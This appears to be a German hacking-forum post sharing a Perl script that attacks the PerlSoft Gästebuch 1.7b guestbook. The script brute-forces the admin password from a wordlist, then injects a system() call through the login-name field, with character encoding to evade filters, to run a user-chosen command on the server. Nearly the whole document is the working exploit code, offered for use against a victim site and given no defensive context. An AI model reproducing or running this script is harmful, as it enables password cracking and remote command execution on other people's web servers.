[+]Topic: Code
[+]Von: Perforin
[+]Return: Code

Mein PerlSoft Gästebuch Bruter mit eingebauten RCE Exploit.
RCE Exploit kann erst ausgeführt werden wenn man den Login
gebrutet hat.

RCE ist möglich durch eine schlechte Überprüfung der Login Daten, sowie
die Einbindung der Datei mit den Login Daten ins Admincenter.

#!/usr/bin/perl
=pod
Typ: Bruter & RCE
Software: PerlSoft Gästebuch Version: 1.7b
Coder/Bugfounder: Perforin
Visit: DarK-CodeZ.org
Note: RCE ist only 1 time possible, do not waste your command!
Greetings: Sph1nX,Neo2k8,fraggle,SkyOut,the-janky,double_check,ringwrath-4,JackT
=cut

use strict;
use warnings;
use diagnostics;

use LWP::Simple;
use LWP::Simple::Post qw(post post_xml);

my ($url,$user,$wordlist,$error_counter,$word,$anfrage);
my ($falsch,$richtig,$entry,$rce,$send,$crypted);
my (@response,@rcesend,@array);

if (@ARGV < 4) { &fail; }

($url,$user,$wordlist) = (@ARGV);

$falsch = '<tr><td align=center><Font color="000000" FACE="Arial">Nur Administratoren mit gültigen Benutzerdaten haben Zugang in das Admin-Center!</font></td></tr>';
$richtig ='<tr><td bgcolor=#E0E0E0 align=center><B><Font color="000000" FACE="Arial">Gästebuch Vorlage - Einstellen</font></B></td></tr>';

if ($url !~ m/^http:\/\//) { &fail; }
if ($wordlist !~ m/\.(txt|list|dat)$/) { &fail; }

print <<"show";

--==[Perforins PerlSoft GB Pwner]==--

[+] Attack: $url
[+] User: $user
[+] Wordlist: $wordlist

show
open(WordList,"<","$wordlist") || die "No wordlist found!";
foreach $word (<WordList>) {
chomp($word);
$crypted = crypt($word,"codec");
$anfrage = $url.'?sub=vorlage&id='.$user.'&pw='.$crypted;
@array = get($anfrage) || (print "[-] Cannot connect!\n") && exit;
foreach $entry (@array) {
if ($entry =~ m/$richtig/i) { 
print "\n[+] Password cracked: "."$crypted:$word"." !\n\n";
if ($ARGV[3] =~ m/yes/i ) {
print <<"RCE";
[+] Remote Command Execution possible!
[~] Note: Only _1_ time exploitable, do not waste it!
[+] Please enter your Command!
RCE
chomp($rce = <STDIN>);
$rce =~ s/>/\"\.chr(62)\.\"/ig;
$rce =~ s/</\"\.chr(60)\.\"/ig;
$rce =~ s/\|/\"\.chr(124)\.\"/ig;
$rce =~ s/&/\"\.chr(38)\.\"/ig;
$rce =~ s/\//\"\.chr(47)\.\"/ig;
$rce =~ s/-/\"\.chr(45)\.\"/ig;
$send = 'loginname='.$user.'&loginpw='.$word.'&loginname1='.$user.'";system("'.$rce.'");print "h4x&loginpw1='.$word.'&loginpw2='.$word.'&id='.$user.'&pw='.$crypted.'&sub=saveadmindaten';
@response = post($url, $send);
@rcesend = get($url) || (print "[-] Cannot connect!\n") && exit;
print <<"END";
[+] Command executed!

---====[www.vx.perforin.de.vu]====---
END
exit;
} else { (print "---====[www.vx.perforin.de.vu]====---\n") and exit; }
} elsif ($entry =~ m/$falsch/i) {
$error_counter++;
print "[!] Tested ".$error_counter.": "."$crypted:$word"."\n";
}
}
}
close(WordList);
print "[-] Could not be cracked!\n---====[www.vx.perforin.de.vu]====---\n";
exit;
sub fail {
print <<"CONFIG";
+-------------------+
|                   |
| PerlSoft GB Pwner |
|       v0.1        |
|                   |
+-------------------+-----[Coded by Perforin]-----------------------------+
|                                                                         |
| pwner.pl http://opfer.lu/cgi-bin/admincenter.cgi admin wordlist.txt yes |
| pwner.pl http://opfer.lu/cgi-bin/admincenter.cgi admin wordlist.txt no  |
|                                                                         |
| yes = Remote Command Execution                                          |
| no = No Remote Command Execution                                        |
|                                                                         |
+-------------------------[vx.perforin.de.vu]-----------------------------+
CONFIG
exit;
}